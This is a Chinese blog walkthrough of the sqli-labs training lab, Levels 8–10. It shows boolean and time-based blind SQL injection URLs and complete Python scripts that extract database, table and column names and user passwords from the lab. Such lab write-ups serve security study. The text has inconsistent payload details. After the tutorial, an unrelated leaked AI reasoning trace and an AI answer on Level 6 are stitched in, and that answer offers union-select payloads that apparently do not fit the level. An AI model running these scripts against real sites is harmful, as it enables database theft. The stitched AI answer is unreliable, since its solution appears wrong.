sqli-labs 靶场 less-8、9、10 第八关到第十关详解:布尔注入,时间注入

SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。

Less 8

SQLI DUMB SERIES-8

判断注入点

当输入id为1时正常显示:
id=1
加上单引号就报错了
welcome
那就将后面的代码注释就恢复正常显示:

http://sqli-labs.com/Less-8/
?id=1'--+

--+
并通过order语句得到表单字段为3个:
Order

实施注入

布尔(Boolean)盲SQL注入技术是一种SQL注入攻击的形式,它利用了数据库在处理布尔逻辑时的漏洞。
在这种攻击中,攻击者通过构造特定的SQL语句,尝试修改应用程序的查询语句,以便程序在响应时反映出某些操作结果(如真或假),从而确定某些特定答案或确认应用程序中的漏洞。
布尔盲注的原理是通过构造恰当的SQL语句,使得应用程序的响应结果有所不同。

通过以上信息来看可以确定,这一关可以用布尔盲注的方式来进行解题。我们先尝试用语句来判断是否获取正常。
通过下列结果可以看出来database()的第一个字符并不是a,我们需要继续尝试所有英文字母。

http://sqli-labs.com/Less-8/
?id=1')) and substr(database(),1,1)='a' --+

You are in.... Use outfile...

直到我们尝试用s测试出来它才是目标,并提示“***You are in…”。

http://sqli-labs.com/Less-8/
?id=1')) and substr(database(),1,1)='s' --+

You are in.... Use outfile

如果在MYSQL中的话则过程则为:

SELECT * FROM users WHERE id=(('1')) and substr(database(),1,1)='s' ;

username
故我们使用python代码来模拟这个过程并获取到完整目录文件,代码如下 :

import requests

ALPHABET=",abcdefghijklmnopqrstuvwxyz"
A_LEN=len(ALPHABET) 
URL="http://sqli-labs.com/Less-8/?id=1' and substr(({sql}),{position},1)='{char}'--+"

#布尔注入并返回判断
def boolInject(path):
    response=requests.get(path)
    if response.status_code==200:
        if "You are in" in response.text:
            return True
        else:
            return False
    else:
        return False

#获取数据
def extract_data(sql):
    s=""
    position=0
    while True:
        position+=1
        #先判断是否为空,为空则直接断开(意味着没有数据或已完成数据采集)
        res=boolInject(URL.format(sql=sql,position=position,char=""))
        if res==True:
            break
        #不为空则尝试一个个判断字母是否符合
        char=" "
        for i in range(A_LEN):
            res=boolInject(URL.format(sql=sql,position=position,char=ALPHABET[i]))
            #如果找到相同的字符串则填入char
            if res==True:
                char=ALPHABET[i]
                break
        s+=char
    return s

接着我们在相同文件编写获取数据库的命令:

print(extract_data("database()"))

ID参数实际为1')) and substr(database(),%i,1)='%s'--+
最后执行该文件:

> python bool.py

python
接着获取其它参数:

#获取表名
print(extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'"))
#query="1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%i,1)='%s'--+"
#获取列名
print(extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"))
#query="1')) and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%i,1)='%s'--+"
#获取用户名全部密码
print(extract_data("select group_concat(password) from users"))
#query="1')) and substr((select group_concat(password) from users),%i,1)='%s'--+"

结果如下:
password
但是你会发现,在获取用户密码的时候会有很多空字符,这里是什么原因呢?

这是由于没有匹配对应的字符造成的,如果想要解决这个问题,那么你就要在`ALPHABET`参数上加上更多的字符以适应更多的情况。

Less 9

SQLI DUMB SERIES-9

series

判断注入点

输入ID,正常显示
id
但输入其它字符也都显示一样的内容。
you are in
在这里我们无法看到错误信息,也不知道信息能否正常获取到。
此时则尝试使用时间注入的方式来进行,当输入下列参数时可以看到页面需要等待五秒才返回数据,则代表SQL语句运行成功,且可以利用此漏洞:

http://sqli-labs.com/Less-9/
?id=1' and sleep(5) --+

you are

实施注入

SQL时间注入是一种安全漏洞,通过修改SQL查询中的时间参数,攻击者可以获取未授权的数据或执行未授权的操作。
1. 基于时间延迟:在SQL语句中注入时间相关的代码,如MySQL中的sleep()函数。例如,sleep(5)会使数据库延时5秒返回内容。攻击者可以根据页面的响应时间来判断是否存在SQL时间注入。
2. 判断方法:通过在注入点输入类似'and sleep(5)的语句,如果页面响应时间至少为5秒,则说明存在SQL时间注入。
3. 获取敏感信息:通过不断尝试和调试,攻击者可以逐步推断出数据库中存储的信息,如用户名、密码等。

接下来的工作就是之前使用的布尔注入流程一样,通过一个个字的判断来确定是否为想要的字符。
如我们获取数据名称是否为s,并通过睡眠5秒来判断:

http://sqli-labs.com/Less-9/
?id=1' and substr(database(),1,1)='a' and sleep(5)--+

执行后页面立即返回了数据,代表数据库名的第一个字符并不是a,直接判断s才能成功:

http://sqli-labs.com/Less-9/
?id=1' and substr(database(),1,1)='s' and sleep(5)--+

我们把这个过程通过python代码来完成自动化注入与判断,完整代码如下:

import requests
import time

ALPHABET=",abcdefghijklmnopqrstuvwxyz"#验证字符集
A_LEN=len(ALPHABET) 
SLEEP_TIME=1#等待时间(为了缩短代码运行时间,我们这里将睡眠时间设置为一秒钟)
URL="http://sqli-labs.com/Less-9/?id=1' and substr(({sql}),{position},1)='{char}' and sleep({time})--+"

#布尔注入并返回判断
def inject(path):
    start=time.time()
    response=requests.get(path)
    end=time.time()
    #如果数据获取时间大于睡眠时间代表代码运行成功
    if response.status_code==200 and end-start>SLEEP_TIME:
        return True
    else:
        return False

#获取数据
def extract_data(sql):
    s=""
    position=0
    while True:
        position+=1
        #先判断是否为空,为空则直接断开(意味着没有数据或已完成数据采集)
        res=inject(URL.format(sql=sql,position=position,char="",time=SLEEP_TIME))
        if res==True:
            break
        #不为空则尝试一个个判断字母是否符合
        char=" "
        for i in range(A_LEN):
            res=inject(URL.format(sql=sql,position=position,char=ALPHABET[i],time=SLEEP_TIME))
            #如果找到相同的字符串则填入char
            if res==True:
                char=ALPHABET[i]
                break
        s+=char
    return s
#获取数据库
print(extract_data("database()"))
#query="1' and substr(database(),%i,1)='%s' and sleep(%i)--+"

执行代码即获取成功:
python timeInject
那么后面的代码也是一样的道理:

#获取表名
print(extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'"))
#获取列名
print(extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"))
#获取用户名全部密码
print(extract_data("select group_concat(password) from users"))

执行结果,成功完成注入(有一说一,代码请求量一多这脚本运行时间真的长!):
timeInject

Less 10

SQLI DUMB SERIES-10

series

判断注入点

输入注入代码,通过测试可知是使用双引号来进行闭合的查询语句。

http://sqli-labs.com/Less-10/?id=1' and sleep(5) --+
http://sqli-labs.com/Less-10/?id=1' and sleep(5) --+
http://sqli-labs.com/Less-10/?id=1" and sleep(5) --+

sqli dum
如此便可以采用和上面类似的盲注入代码来进行。仅需要改其它的常量URL修改一下:

URL="http://sqli-labs.com/Less-10/?id=1\" and substr(({sql}),{position},1)='{char}' and sleep({time})--+"

SLEEP

系列文章

<think>首先,用户的问题是sqli-labs靶场less6的通攻略。我需要基于系统指令和提供的引用信息来回答。 系统指令摘要: - 使用$...$格式行内数表达式(但这个问题中没有数表达式)。 - 独立公式用$$...$$(但这里不需要)。 - LaTeX语法正确。 - 使用中文回答。 - 生成相问题。 - 在回答中引用的段落末尾添加引用标识,例如[^1]。 用户提供的引用: - 引用[1]:SQL注入的三个条件。 - 引用[2]:SQLi-LABS靶场1-5通攻略,包括一个注入示例。 - 引用[3]:sqli-labs靶场攻略,提到第十- 引用[4]:SQL注入sqli-labs靶场less7通攻略,涉及outfile注入。 用户查询:"我想查找sqli - labs靶场less6的相内容,可能是解决方案、通指南等"。我需要专注于less6。 从引用中,没有直接提到less6。引用[2]提到less2,引用[4]提到less7。所以,我必须基于一般SQL注入知识来回答,因为系统指令说"上述引用仅供参考",我应该参考用户上一次的问题和我的回答,但这是第一次交互,所以我需要自己构建。 用户说"参考站内引用",但这些引用是提供的,不是由我选择的。在响应中,我需要自然地融入引用。 我的回答结构: - 清晰、逐步解答。 - 生成相问题。 - 使用中文。 内容规划: 1. **介绍less6**:SQLi-Labs less6通常涉及基于错误的SQL注入或特定类型。从上下文,less6可能是"Double Query Based Injection",因为这常见于sqli-labs序列(less5是单引号错误,less6是双引号错误等)。 - 回忆:在sqli-labsless5是单引号错误,less6是双引号错误。 2. **通攻略步骤**: - 理解注入点:通常是GET参数,如?id=1。 - 测试注入类型:基于错误或布尔类型。 - 利用注入:提取数据库信息(如表名、列名)。 - 结合引用:引用[1]提到SQL注入的三个条件,我可以引用它。 - 示例注入语句:基于引用[2]和[4]的格式。 3. **示例步骤**: - 步骤1:访问URL,如http://127.0.0.1/Less-6/?id=1。 - 步骤2:诱发错误,例如?id=1"(双引号)。 - 步骤3:使用联合查询或其他方法提取数据。 - 参考引用[4]的注入语句格式。 4. **添加引用**:当提到键点时,添加引用标识。例如,"SQL注入需要参数可控、过滤不彻底等条件[^1]"。 5. **生成相问题**:在最后添加相问题。 完整回答框架: - 开头:介绍less6- 逐步指南:使用步骤列表。 - 代码示例:如果有SQL语句或其他。 - 结尾:相问题。 由于用户提供了引用,我应该在回答中引用它们: - 引用[1]:用于解释注入条件。 - 引用[2]或[4]:用于注入语句示例。 最终,生成相问题: 1. 如何防止SQL注入漏洞? 2. sqli-labs其他卡的通方法? 3. 基于错误的SQL注入原理是什么? 确保回答真实可靠:基于标准SQL注入知识。 </think>### sqli-labs靶场less6通攻略 SQLi-Labs靶场less6是一个基于错误的SQL注入挑战,通常涉及双引号字符的注入漏洞。本的目标是利用注入点提取数据库信息(如数据库名、表名、用户数据等)。SQL注入依赖于三个核心条件:①参数可控;②参数过滤不彻底导致恶意代码被执行;③参数带入数据库执行[^1]。下面提供一个清晰的通步骤指南,基于常见实践和引用信息。假设靶场运行在本地(如http://127.0.0.1/Less-6/),使用GET参数(例如?id=1)。 #### 逐步通步骤 1. **识别注入点**: - 访问less6URL:`http://127.0.0.1/Less-6/`。 - 添加参数测试,如输入`?id=1"`(双引号字符)。如果页面显示SQL语法错误(如"You have an error in your SQL syntax"),则确认存在基于错误的注入漏洞。这印证了参数可控且过滤不彻底的条件[^1]。 2. **诱发错误并提取数据库名**: - 利用双引号错误和`union select`语句获取数据库名。例如构造URL: ```sql http://127.0.0.1/Less-6/?id=1" union select 1,2,group_concat(schema_name) from information_schema.schemata--+ ``` - 说明:这个注入语句试图联合查询所有数据库名称。参数`--+`用于注释后续SQL代码,避免语法错误。如果成功,页面会显示数据库名(如"information_schema,security")。 3. **提取表名和列名**: - 一旦确认数据库名(假设为'security'),继续查询表名。参考类似联合查询的方法[^2]: ```sql http://127.0.0.1/Less-6/?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ ``` - 此语句返回表名列表(如"emails,referers,uagents,users")。注意`id=-1`确保原查询无结果,优先显示注入数据。 - 提取特定表的列名(如表'users'): ```sql http://127.0.0.1/Less-6/?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+ ``` - 结果可能显示列名(如"id,username,password")。 4. **获取用户数据**: - 利用提取的列名查询敏感数据。例如获取用户名和密码: ```sql http://127.0.0.1/Less-6/?id=-1" union select 1,2,group_concat(username,':',password) from users--+ ``` - 页面会显示用户凭证(如"admin:password123,dummy:pass"),完成通。 #### 键注意事项 - **错误处理**:如果注入失败,检查参数格式(确保双引号正确闭合)或尝试其他方法如布尔注入less6less5(单引号错误)更复杂,但原理类似。 - **安全实践**:此攻略仅用于习目的。真实环境中,开发者应严格过滤输入参数以防止注入[^1]。 - **测试工具**:可使用Burp Suite或SQLmap自动化注入过程,但手动练习能加深理解。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值